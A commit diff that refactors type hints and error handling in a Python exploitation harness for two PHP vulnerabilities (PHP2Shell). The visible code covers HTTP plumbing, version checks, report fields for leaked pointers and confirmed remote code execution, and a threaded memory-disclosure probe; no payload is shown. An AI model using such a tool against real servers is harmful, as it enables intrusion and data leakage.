11#!/usr/bin/env python3
2- # -*- coding: utf-8 -*-
32"""
43php2shell_exploit.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619) assessment
54and exploitation harness derived from docs/php2shell-analysis.md.
3736from __future__ import annotations
3837
3938import argparse
39+ import contextlib
4040import ipaddress
4141import json
4242import random
4949import time
5050import urllib .parse
5151from dataclasses import dataclass , field
52- from typing import Dict , List , Optional , Tuple
5352
5453# ---------------------------------------------------------------------------
5554# Fixed-release matrix (docs/php2shell-analysis.md, section 2)
@@ -105,7 +104,7 @@ def __init__(self, url: str):
105104 self .base_path = p .path if p .path not in ("" , "/" ) else "/"
106105 self .host_header = self .host if self .port in (80 , 443 ) else f"{ self .host } :{ self .port } "
107106
108- def connect (self , timeout : float = 10.0 ) -> " HTTPConn" :
107+ def connect (self , timeout : float = 10.0 ) -> HTTPConn :
109108 return HTTPConn (self , timeout )
110109
111110
@@ -126,14 +125,14 @@ def send(self, data: bytes) -> None:
126125 def _fill (self ) -> bool :
127126 try :
128127 chunk = self .sock .recv (65536 )
129- except (socket . timeout , ConnectionResetError , OSError ):
128+ except (TimeoutError , ConnectionResetError , OSError ):
130129 return False
131130 if not chunk :
132131 return False
133132 self .buf += chunk
134133 return True
135134
136- def read_response (self , timeout : float = 8.0 ) -> Tuple [int , Dict [str , str ], bytes , List [str ]]:
135+ def read_response (self , timeout : float = 8.0 ) -> tuple [int , dict [str , str ], bytes , list [str ]]:
137136 self .sock .settimeout (timeout )
138137 while b"\r \n \r \n " not in self .buf :
139138 if not self ._fill ():
@@ -149,8 +148,8 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
149148 except (IndexError , ValueError ):
150149 status = 0
151150
152- headers : Dict [str , str ] = {}
153- set_cookies : List [str ] = []
151+ headers : dict [str , str ] = {}
152+ set_cookies : list [str ] = []
154153 for line in lines [1 :]:
155154 if b":" not in line :
156155 continue
@@ -201,14 +200,12 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte
201200 return status , headers , body , set_cookies
202201
203202 def close (self ) -> None :
204- try :
203+ with contextlib . suppress ( OSError ) :
205204 self .sock .close ()
206- except OSError :
207- pass
208205
209206
210- def http_get (target : Target , path : str , extra : Optional [ Dict [ str , str ]] = None ,
211- timeout : float = 8.0 ) -> Tuple [int , Dict [str , str ], bytes , List [str ]]:
207+ def http_get (target : Target , path : str , extra : dict [ str , str ] | None = None ,
208+ timeout : float = 8.0 ) -> tuple [int , dict [str , str ], bytes , list [str ]]:
212209 conn = target .connect (timeout )
213210 headers = {
214211 "Host" : target .host_header ,
@@ -229,7 +226,7 @@ def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None,
229226# ---------------------------------------------------------------------------
230227# Version classification
231228# ---------------------------------------------------------------------------
232- def classify_version (version : str ) -> Tuple [str , bool , str ]:
229+ def classify_version (version : str ) -> tuple [str , bool , str ]:
233230 m = re .search (r"(\d+)\.(\d+)\.(\d+)" , version or "" )
234231 if not m :
235232 return "UNKNOWN" , False , "Could not extract a PHP version from the response headers."
@@ -280,9 +277,9 @@ class Report:
280277 oom_reached : bool = False
281278 oom_status : int = 0
282279 worker_alive : bool = False
283- disclosure : Optional [ bytes ] = None
284- pointers : List [int ] = field (default_factory = list )
285- notes : List [str ] = field (default_factory = list )
280+ disclosure : bytes | None = None
281+ pointers : list [int ] = field (default_factory = list )
282+ notes : list [str ] = field (default_factory = list )
286283 rce_confirmed : bool = False
287284 rce_output : str = ""
288285
@@ -463,7 +460,7 @@ def check_worker_survival(cfg: Config, rep: Report) -> None:
463460# ---------------------------------------------------------------------------
464461def probe_disclosure (cfg : Config , rep : Report ) -> None :
465462 stage ("5/5" , "Memory disclosure via Set-Cookie (stale PS(id))" )
466- results : Dict [int , bytes ] = {}
463+ results : dict [int , bytes ] = {}
467464 lock = threading .Lock ()
468465
469466 def worker (i : int ) -> None :
@@ -491,7 +488,7 @@ def worker(i: int) -> None:
491488 for t in threads :
492489 t .join ()
493490
494- suspicious : List [ Tuple [int , bytes ]] = []
491+ suspicious : list [ tuple [int , bytes ]] = []
495492 for i , raw in sorted (results .items ()):
496493 if not raw :
497494 continue
0 commit comments